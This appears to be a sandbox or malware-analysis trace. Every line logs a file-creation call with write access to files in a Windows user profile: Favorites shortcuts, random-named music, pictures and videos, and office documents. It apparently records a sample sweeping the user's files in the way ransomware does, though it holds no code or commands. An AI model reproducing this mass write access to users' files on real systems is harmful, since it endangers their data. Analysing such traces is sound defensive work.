Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSNBC News.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Get Windows Live.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Gallery.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Mail.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Spaces.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\0CFbxAy-0SvJS.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\GHOfFfFzI8.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\hFVVS1xw-2S_rl9p.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\IXZXtSgfL.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\6PEBEYDG2Dl Ypm.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\kn7-WiFR3rujU.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\sphBhtbT_QiWSj7\aYWMtsRSMh4xlAF.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\sphBhtbT_QiWSj7\z0DV-nH713.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\XkpT\Uag_IA1McKV7kb4hkLtv.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\XkpT\UIAiOYKV.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\3oPkmG2kZIXytM.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\fg5Tftc5bYHg.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\FVUMXkiyq2-WfIZg4u.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\QZHW.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\uJ3cV5w.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\ah_F5t-gNj G55YNh\j5qSofvzE 2tyS.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\ah_F5t-gNj G55YNh\orTEBhay2M.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\ah_F5t-gNj G55YNh\tThj-wykSa.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\-pcR.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\05G_LmHEj.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\Ui1Z5x.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\yYTHpZ.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\28siJ1ZaOTT jFmj9.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\C7RDGhTmRw.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\DF7W-ioIXDGyi.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\lGFkkME zcgUcKPwW.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\Mlv U.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\P9Cjj3pY.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\QYJjEVaChD.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\uEaYKvIwFNXXcH.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\_DV1djZRO6HrvdW.mkv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\ORstBJ1VPIG9\7G92TLT2aibLnqW9.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\ORstBJ1VPIG9\dzqnkLYWkOSFhsfv3iD.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\ORstBJ1VPIG9\mbb0w07kHww2pr82rg.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\Y27 OmlRA4RK\3gAPurutQ.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\Y27 OmlRA4RK\IqJdt.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\Y27 OmlRA4RK\KKFvXL.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\Y27 OmlRA4RK\R1x5k3YmCRal8c.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\GqakYJ2tn.csv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\iYOC0ixnRNev.ods desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\xsO51AJTi7MU9pz.pps desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\My Shapes\_private\folder.ico desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\33JwnX15M.doc desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\CyQ1zELUPbdOjYz ywT.docx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\fs6kSG1.odp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\gM98N.pptx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\l9dC5aknZTWdmKKvqlm.csv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\zVmzUfndIDa.odt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\bXuv7Kr.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\NQaj65yBu.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\o8Sr vo8q.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\TYEA-rvS 3rsEuch t9.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\wnSkHC7pPCEgbv.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\YSyKK-\3bqs.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\YSyKK-\BbC0Q0jvmYL.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\YSyKK-\e9nY1u2m2V1c.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\YSyKK-\JrOA.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\YSyKK-\N1d3Q3G.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\YSyKK-\PAsjf4nYr6e 3H6J0qdm.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\-sBK\-hYGW.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\-sBK\eaqkAaATiy4vA1L_sgH.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\-sBK\mklzxgV5YwITzd7xAiCs.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\1CZf.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\hkphs.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\hyr6lELoPH.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\r3e9e6Vc2_5M_J.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\SiWeViFY67M8JO.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\Spxtx_LrRLrVN.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\ZtqB_jTHdl.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\2aXyp-c.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\6-LS.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\fwQ65MT5dR.mkv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\geqhaSg2pOLrJRy5.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\OUrgxG kKstMI-V0g.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\ug0C_FP8M8f2wAb8X.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\ZPzcZ2.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\0Sz9y4pM1liLnHW.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\9e9qSq13H.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\9fWl Pmhzcfm0.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\DjD7qqVPsjaapMWJ5hsT.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\dlnS-sO_EmcE8_Nm.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\H3357xe.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\HV2XzZ.mkv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\JY Zvsh3GSgycLkMXjP.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\l7VeGA12Fs.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\qyIStBjZu8Q4.mkv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\reXbPxa.mkv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\Rgwx6N48P Yfnm9go.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\tKe3w.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\V9la.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\vP_fCxcdZuCGW1mdFWw.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\2Lk23P.ods desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\2n3_ahqBMuVOxHufl.ots desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\4xI0lzuMCZBm5s6CXE4.csv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\B vEe4F3lAt7UWzM.odt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\MVX7z7.xls desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\O-s 7sUKUzPU5.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\Sgpq1PY.docx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\U2T6Lm.odt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\ubpgT3URAuLj.ppt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
